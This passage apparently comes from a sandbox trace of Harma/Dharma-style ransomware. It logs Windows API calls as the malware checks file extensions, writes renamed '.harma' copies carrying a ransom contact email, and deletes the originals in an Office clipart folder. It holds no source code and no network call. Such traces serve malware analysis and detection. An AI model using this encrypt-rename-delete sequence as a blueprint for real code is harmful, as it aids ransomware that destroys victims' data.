(lpString=".1cd") returned 4 [0145.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0145.521] lstrlenW (lpString=".jpg") returned 4 [0145.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.521] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.522] lstrlenW (lpString="BL00195_.WMF") returned 12 [0145.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.523] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8070) returned 1 [0145.523] CloseHandle (hObject=0x350) returned 1 [0145.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x20 [0145.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.523] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.523] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0145.525] GetLastError () returned 0x0 [0145.525] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0145.526] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0145.527] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.527] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.527] SetEndOfFile (hFile=0x330) returned 1 [0145.528] CloseHandle (hObject=0x330) returned 1 [0145.528] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.528] SetEndOfFile (hFile=0x350) returned 1 [0145.530] CloseHandle (hObject=0x350) returned 1 [0145.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0145.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.534] lstrlenW (lpString=".doc") returned 4 [0145.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.534] lstrlenW (lpString=".docx") returned 5 [0145.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.534] lstrlenW (lpString=".pdf") returned 4 [0145.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.534] lstrlenW (lpString=".xls") returned 4 [0145.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.534] lstrlenW (lpString=".xlsx") returned 5 [0145.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.534] lstrlenW (lpString=".ppt") returned 4 [0145.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.534] lstrlenW (lpString=".zip") returned 4 [0145.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.534] lstrlenW (lpString=".rar") returned 4 [0145.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.534] lstrlenW (lpString=".bz2") returned 4 [0145.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.534] lstrlenW (lpString=".7z") returned 3 [0145.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.534] lstrlenW (lpString=".dbf") returned 4 [0145.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.534] lstrlenW (lpString=".1cd") returned 4 [0145.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.534] lstrlenW (lpString=".jpg") returned 4 [0145.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.535] lstrlenW (lpString=".doc") returned 4 [0145.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString=".docx") returned 5 [0145.535] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.535] lstrlenW (lpString=".pdf") returned 4 [0145.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString=".xls") returned 4 [0145.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.535] lstrlenW (lpString=".xlsx") returned 5 [0145.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.535] lstrlenW (lpString=".ppt") returned 4 [0145.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.535] lstrlenW (lpString=".zip") returned 4 [0145.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.535] lstrlenW (lpString=".rar") returned 4 [0145.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString=".bz2") returned 4 [0145.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString=".7z") returned 3 [0145.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.535] lstrlenW (lpString=".dbf") returned 4 [0145.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.535] lstrlenW (lpString=".1cd") returned 4 [0145.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0145.535] lstrlenW (lpString=".jpg") returned 4 [0145.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.536] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.536] lstrlenW (lpString="BL00234_.WMF") returned 12 [0145.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.536] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9304) returned 1 [0145.536] CloseHandle (hObject=0x350) returned 1 [0145.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0145.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0145.537] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.537] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0145.537] GetLastError () returned 0x0 [0145.537] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2458, lpOverlapped=0x0) returned 1 [0145.539] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0145.540] ReadFile (in: hFile=0x350, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.540] WriteFile (in: hFile=0x330, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.541] SetEndOfFile (hFile=0x330) returned 1 [0145.541] CloseHandle (hObject=0x330) returned 1 [0145.541] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.541] SetEndOfFile (hFile=0x350) returned 1 [0145.543] CloseHandle (hObject=0x350) returned 1 [0145.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0145.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.544] lstrlenW (lpString=".doc") returned 4 [0145.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.544] lstrlenW (lpString=".docx") returned 5 [0145.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.545] lstrlenW (lpString=".pdf") returned 4 [0145.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.545] lstrlenW (lpString=".xls") returned 4 [0145.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.545] lstrlenW (lpString=".xlsx") returned 5 [0145.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.545] lstrlenW (lpString=".ppt") returned 4 [0145.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.545] lstrlenW (lpString=".zip") returned 4 [0145.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.545] lstrlenW (lpString=".rar") returned 4 [0145.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.545] lstrlenW (lpString=".bz2") returned 4 [0145.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.545] lstrlenW (lpString=".7z") returned 3 [0145.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.545] lstrlenW (lpString=".dbf") returned 4 [0145.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.545] lstrlenW (lpString=".1cd") returned 4 [0145.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.545] lstrlenW (lpString=".jpg") returned 4 [0145.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.546] lstrlenW (lpString=".doc") returned 4 [0145.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.546] lstrlenW (lpString=".docx") returned 5 [0145.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.546] lstrlenW (lpString=".pdf") returned 4 [0145.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.546] lstrlenW (lpString=".xls") returned 4 [0145.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.546] lstrlenW (lpString=".xlsx") returned 5 [0145.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.546] lstrlenW (lpString=".ppt") returned 4 [0145.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.546] lstrlenW (lpString=".zip") returned 4 [0145.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.546] lstrlenW (lpString=".rar") returned 4 [0145.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.546] lstrlenW (lpString=".bz2") returned 4 [0145.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.546] lstrlenW (lpString=".7z") returned 3 [0145.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.546] lstrlenW (lpString=".dbf") returned 4 [0145.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.546] lstrlenW (lpString=".1cd") returned 4 [0145.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0145.546] lstrlenW (lpString=".jpg") returned 4 [0145.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.547] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.547] lstrlenW (lpString="BL00242_.WMF") returned 12 [0145.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.787] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=4024) returned 1 [0145.788] CloseHandle (hObject=0x2e8) returned 1 [0145.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0145.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0145.845] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.846] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0145.851] GetLastError () returned 0x0 [0145.851] ReadFile (in: hFile=0x35c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xfb8, lpOverlapped=0x0) returned 1 [0145.899] WriteFile (in: hFile=0x358, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xfc0, lpOverlapped=0x0) returned 1 [0145.900] ReadFile (in: hFile=0x35c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.900] WriteFile (in: hFile=0x358, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.901] SetEndOfFile (hFile=0x358) returned 1 [0145.901] CloseHandle (hObject=0x358) returned 1 [0145.901] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.901] SetEndOfFile (hFile=0x35c) returned 1 [0145.903] CloseHandle (hObject=0x35c) returned 1 [0145.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0145.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.904] lstrlenW (lpString=".doc") returned 4 [0145.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.904] lstrlenW (lpString=".docx") returned 5 [0145.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.905] lstrlenW (lpString=".pdf") returned 4 [0145.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString=".xls") returned 4 [0145.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.905] lstrlenW (lpString=".xlsx") returned 5 [0145.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.905] lstrlenW (lpString=".ppt") returned 4 [0145.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.905] lstrlenW (lpString=".zip") returned 4 [0145.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.905] lstrlenW (lpString=".rar") returned 4 [0145.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString=".bz2") returned 4 [0145.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString=".7z") returned 3 [0145.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.905] lstrlenW (lpString=".dbf") returned 4 [0145.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.905] lstrlenW (lpString=".1cd") returned 4 [0145.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.905] lstrlenW (lpString=".jpg") returned 4 [0145.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.905] lstrlenW (lpString=".doc") returned 4 [0145.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.905] lstrlenW (lpString=".docx") returned 5 [0145.905] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.906] lstrlenW (lpString=".pdf") returned 4 [0145.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.906] lstrlenW (lpString=".xls") returned 4 [0145.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.906] lstrlenW (lpString=".xlsx") returned 5 [0145.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.906] lstrlenW (lpString=".ppt") returned 4 [0145.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.906] lstrlenW (lpString=".zip") returned 4 [0145.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.906] lstrlenW (lpString=".rar") returned 4 [0145.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.906] lstrlenW (lpString=".bz2") returned 4 [0145.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.906] lstrlenW (lpString=".7z") returned 3 [0145.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.906] lstrlenW (lpString=".dbf") returned 4 [0145.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.906] lstrlenW (lpString=".1cd") returned 4 [0145.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned 63 [0145.906] lstrlenW (lpString=".jpg") returned 4 [0145.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.907] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.907] lstrlenW (lpString="BL00270_.WMF") returned 12 [0145.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 